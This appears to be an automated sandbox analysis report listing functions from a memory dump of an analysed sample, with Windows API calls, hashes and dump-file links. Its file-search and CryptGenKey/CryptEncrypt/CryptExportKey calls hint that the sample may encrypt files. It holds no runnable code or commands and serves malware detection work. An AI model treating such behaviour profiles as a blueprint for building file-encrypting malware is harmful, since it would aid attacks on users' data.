Uniqueness

Uniqueness Score: -1.00%

Function 00AF9550, Relevance: 3.5, APIs: 2, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ba1909ca64a65a1523391f5faa3fbab0cefe4bfb5db5fee64f47ea8fc5a091
Instruction ID: a31dd904ca84cbcc1f1a0e84b7df2179f20ea70ba8e566b25cb85a6b98b308a9
Opcode Fuzzy Hash: 96ba1909ca64a65a1523391f5faa3fbab0cefe4bfb5db5fee64f47ea8fc5a091
Instruction Fuzzy Hash: 7F023C71E002199FDF14CFA9C9807AEB7B5EF88314F15826AE919EB344D731AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B0E180, Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000140,00000000,00000140,00000000,?,00000000,?,?,00000000,?,00000000,00000140,00000000,00000000,00000001), ref: 00B0E1C8
_free.LIBCMT ref: 00B0E1D9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst_free
String ID:
API String ID: 689657435-0
Opcode ID: 9c497a5e336414e94e5c80328a4995ed25745b7f1186b7c661a2d737ae8e7001
Instruction ID: 48c3e20c8681ad7f3ca7cc49be966589047cd1b485c5dca3776aad6c846ccd99
Opcode Fuzzy Hash: 9c497a5e336414e94e5c80328a4995ed25745b7f1186b7c661a2d737ae8e7001
Instruction Fuzzy Hash: F4014B71C00119AFCF129FA88C01AEEBFF5EF08350F1046A5FD28E21A1E6318A60DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B036F2, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B036ED,?,?,00000008,?,?,00B0D9FE,00000000), ref: 00B0391F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9629067d67bd6125b1fb367d60f552fb19775fa07f863aeee1ee9b24865a2abd
Instruction ID: 5ad6e12661936f96c5040690072f455b92cca75b669b7a7a9da07e6010ab26a4
Opcode Fuzzy Hash: 9629067d67bd6125b1fb367d60f552fb19775fa07f863aeee1ee9b24865a2abd
Instruction Fuzzy Hash: 45B13B756106049FD719CF28C48AA657FE4FF45764F298698E89ACF2E1C335EE82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B09CE5, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

Part of subcall function 00B0157E: _free.LIBCMT ref: 00B015DE

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B09D39

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 8e5c5b0aee60959d093320cfb3e28accef1206d7ba9113c355467b4c32a0ba9e
Instruction ID: d438c6016076f03519fbac3dce0f29f73e03a2798c65462487d61c0003e37724
Opcode Fuzzy Hash: 8e5c5b0aee60959d093320cfb3e28accef1206d7ba9113c355467b4c32a0ba9e
Instruction Fuzzy Hash: B521B372A40206ABDB28AF28DC42ABA7BE8EF44310B1041FAFD05CB192EA349D108750

Uniqueness

Uniqueness Score: -1.00%

Function 00B09967, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

EnumSystemLocalesW.KERNEL32(00B09A8F,00000001,00000000,?,00AFF0F3,?,00B0A0C8,00000000,00000055,?,?), ref: 00B099D9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 381a95788a46cfc6b1a3407aeb152d3863bc6b5896aed26094a820249577ce91
Instruction ID: be65e940e8ebd84e77d36bd8606a2a64887cea8ee711efb1eeb04f3927d57b2c
Opcode Fuzzy Hash: 381a95788a46cfc6b1a3407aeb152d3863bc6b5896aed26094a820249577ce91
Instruction Fuzzy Hash: C61125362007019FDB289F38C8916BABBD2FF80358B14846CE98787A81D771A942CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B09F15, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B09CB3,00000000,00000000,?), ref: 00B09F41

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 83e00e39264eb02ba33844c413d83b58ea2ab6ca90f96451894491be60a84ef3
Instruction ID: 355cd3659653d8018403f10eab77b820a91d558967bf87de849c0ded44fbfa04
Opcode Fuzzy Hash: 83e00e39264eb02ba33844c413d83b58ea2ab6ca90f96451894491be60a84ef3
Instruction Fuzzy Hash: 55F0D632A00116ABDB289A648C467BABBA8EB40754F1445A9EC06E3181EA30BE4286D0

Uniqueness

Uniqueness Score: -1.00%

Function 00B09A02, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

EnumSystemLocalesW.KERNEL32(00B09CE5,00000001,00000001,?,00AFF0F3,?,00B0A08C,00AFF0F3,00000055,?,?,?,?,00AFF0F3,?,?), ref: 00B09A4E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ca46ad62c4c522229c99d009c25b0b6ed40d95998442df69f43eae6e07f2d10d
Instruction ID: 7de5cded35e8bba544736a8dabe9e3b4f0f94818291399e23596528c7d8e102d
Opcode Fuzzy Hash: ca46ad62c4c522229c99d009c25b0b6ed40d95998442df69f43eae6e07f2d10d
Instruction Fuzzy Hash: 98F0F6363003086FDB249F79DC81A7ABFD5EF8076CB1584ADF9468B6D1D6719D02CA50

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6CC0, Relevance: 1.5, APIs: 1, Instructions: 40encryptionCOMMON

Download Yara Rule

APIs

CryptEncrypt.ADVAPI32(00000001,00000000,80D348A2,00000000,00000000,00000000,?,?,80D348A2,00000001,00000000,00000000,80D348A2), ref: 00AB6D08

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptEncrypt
String ID:
API String ID: 1352496322-0
Opcode ID: 4d234383e4992dbe769ac8a9e45a7de0fc3a69f7374fc2a34a6644d6e0fb009f
Instruction ID: e465170e4a0606b9817c5681ea2040f94671f3aec5b3d0e0453fe1a5bb46e485
Opcode Fuzzy Hash: 4d234383e4992dbe769ac8a9e45a7de0fc3a69f7374fc2a34a6644d6e0fb009f
Instruction Fuzzy Hash: D2014F75A08688ABDB11CFA8D811FEF7BBCEB09740F008159F915973C1D675A900C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6D30, Relevance: 1.5, APIs: 1, Instructions: 37encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32(?,00000000,00000008,00000000,00000000,00000000,?,80D348A2,?,00000000,80D348A2), ref: 00AB6D71

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptExport
String ID:
API String ID: 3389274496-0
Opcode ID: 7c746d0e8bbe1726963e980f11ed3f6d27ce8f4b7ae09d939772c46ad4ce4bee
Instruction ID: 5dff61399feb17c8d052bba56cd55105a9a4e0e889da294bd55aae117665069b
Opcode Fuzzy Hash: 7c746d0e8bbe1726963e980f11ed3f6d27ce8f4b7ae09d939772c46ad4ce4bee
Instruction Fuzzy Hash: 0D01A471A48648ABDB10DF54DC11FEEBBBCEB05740F008269F9119B3C0DA75A504C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B017CF, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00AF6452: EnterCriticalSection.KERNEL32(-00B46298,?,00AFDBCC,00000000,00B40188,0000000C,00AFDB87,?,?,?,00B00B55,?,?,00B01718,00000001,00000364), ref: 00AF6461

EnumSystemLocalesW.KERNEL32(00000000,00000001,00B40330,00000010,00B01C2F,00000000), ref: 00B0180B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ccdd0068b61c0bfaa94863140a08ae486a62fdf191700282cf07e3081a3ae63d
Instruction ID: d01ab9ee8ec10e1f7a41e55f60f3983cc16da3b8d3f29204364910a1d0121d36
Opcode Fuzzy Hash: ccdd0068b61c0bfaa94863140a08ae486a62fdf191700282cf07e3081a3ae63d
Instruction Fuzzy Hash: 77016D35910204EFCB04EF78D946B9D7BF0BB09310F41815AF540EB2E1CB748A00DB05

Uniqueness

Uniqueness Score: -1.00%

Function 00B01E09, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,?,?,?,00AFF1F1,?,20001004,?,00000002,00000000), ref: 00B01E48

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8064c972a65c951d1c98d4d0ee228af2b10adf8cc61d0ef284d73277a9003ba2
Instruction ID: 09fb0269a1d1937ae58655e560fc882c07c3946f0ac7d89f2672768f62d47b48
Opcode Fuzzy Hash: 8064c972a65c951d1c98d4d0ee228af2b10adf8cc61d0ef284d73277a9003ba2
Instruction Fuzzy Hash: 19F05E3560121CBBCB26AF64EC05AAE7FA5FF44710B504555FC0267290CE318E21AA95

Uniqueness

Uniqueness Score: -1.00%

Function 00B0991C, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

EnumSystemLocalesW.KERNEL32(00B09873,00000001,00000001,?,?,00B0A0EA,00AFF0F3,00000055,?,?,?,?,00AFF0F3,?,?,?), ref: 00B09953

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d949d4fce8b48cdad80691f5c9c055e09462bbc07409ec819af954805727ff43
Instruction ID: 8ece4fcb5d90ba81a35b2b5ec01fb189651b6f05b13d5c33c3535708189c5399
Opcode Fuzzy Hash: d949d4fce8b48cdad80691f5c9c055e09462bbc07409ec819af954805727ff43
Instruction Fuzzy Hash: 2DF0E5367002056BCB149F79D84676ABFD4EFC2754F06809DEA068B2A1C6B1D842C790

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6C10, Relevance: 1.5, APIs: 1, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptEncrypt.ADVAPI32(?,00000000,?,00000000,00000000,?,00000000,?,?,80D348A2), ref: 00AB6C3E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptEncrypt
String ID:
API String ID: 1352496322-0
Opcode ID: 69c406959e7db98f3602b0cf7c1324f4cb0adc413a1f697626951a3da4f51861
Instruction ID: d306f71aba6473f1b36eb8d2cca50f308e04d5dac8fc461917c51b2b38ad9f77
Opcode Fuzzy Hash: 69c406959e7db98f3602b0cf7c1324f4cb0adc413a1f697626951a3da4f51861
Instruction Fuzzy Hash: FDF0FE74A00208BBDB04DFA5D855BAEBBF8FB58700F508059F9459B380DA74AA04DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6C70, Relevance: 1.5, APIs: 1, Instructions: 27encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000,?), ref: 00AB6C9A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptExport
String ID:
API String ID: 3389274496-0
Opcode ID: db7a13ac2c4808cf5e27ec1266675bc30c50b1159591332b8de2802173564d71
Instruction ID: 73e342440d610e23e0dc74c886deba6e8179e25fc90bda2c574e34f3bb8568f5
Opcode Fuzzy Hash: db7a13ac2c4808cf5e27ec1266675bc30c50b1159591332b8de2802173564d71
Instruction Fuzzy Hash: C2F03074A4020CBBDB14DFA4D855B9DBBB8FB58700F508069E941AB280DA74AA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6BB0, Relevance: 1.5, APIs: 1, Instructions: 21encryptionCOMMON

Download Yara Rule

APIs

CryptGenKey.ADVAPI32(?,00006610,00000001,?,?,80D348A2), ref: 00AB6BCB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt
String ID:
API String ID: 993010335-0
Opcode ID: 4b14b3ad90da542905606977521e08ff1bfafdd53d453f0329d8570fee771559
Instruction ID: 252c8cb94ae00f1f0158bae2170e55e68ef9255f984e043a3c7c96e34d1cf8a8
Opcode Fuzzy Hash: 4b14b3ad90da542905606977521e08ff1bfafdd53d453f0329d8570fee771559
Instruction Fuzzy Hash: 17E0D83454C34CABDB00CBA4C885BEDBF784B05300F048088E9445F381C5778996D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6BF0, Relevance: 1.5, APIs: 1, Instructions: 12encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32(00000000,00000000,?,00AB60EF,?,00000000,?,00AB60B5,?), ref: 00AB6C01

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: ef8d9c96b6c8a5ffb778f226834fdb904ccc53bbce12fcba8997cd1308626b80
Instruction ID: 0f8034fee54504bb4e714064b18053b30ff36c71d39a6b9dffec4c7e88d866cf
Opcode Fuzzy Hash: ef8d9c96b6c8a5ffb778f226834fdb904ccc53bbce12fcba8997cd1308626b80
Instruction Fuzzy Hash: 13C012B140420CEBC714CF94D808AD97BACD705345F108159FD0447200D635A950C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 00AFA825, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00AFA998

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d762bbdfae5f6013ca6b5b1f8e84531766010541f413e51e7f1931079bb10573
Instruction ID: 35d24b6fcd4507a6335d707c73da4562b521766f11e6f39e0439e566bb4a5a6a
Opcode Fuzzy Hash: d762bbdfae5f6013ca6b5b1f8e84531766010541f413e51e7f1931079bb10573
Instruction Fuzzy Hash: 755168F060060CAADB384BE885957FE63E99B313C0F184519F78ED7292C6A0DD068793

Uniqueness

Uniqueness Score: -1.00%

Function 00B04D29, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e471fce636ef6502ca6aa713b5e53f7b5a6f5736382cd2f1f98a9a692da6fc3
Instruction ID: ba1f22cc5f376754ba9e171804a06b06c0f9f2bbb9c34dad14dca029b528cc5b
Opcode Fuzzy Hash: 3e471fce636ef6502ca6aa713b5e53f7b5a6f5736382cd2f1f98a9a692da6fc3
Instruction Fuzzy Hash: 3F322622D64F014DD7339638C82237A6A89AFB73C5F15D727E81AB5EA9EF29C4C34500

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2CE0, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 52353d34a02b18cb45401dc729e146f3de1a0d72f0733898d9111a03eade00ec
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: CA9176722090A749DB2E47BA847427DFFF15A513A131A07AEF5F2CB1C5EE24C964D720

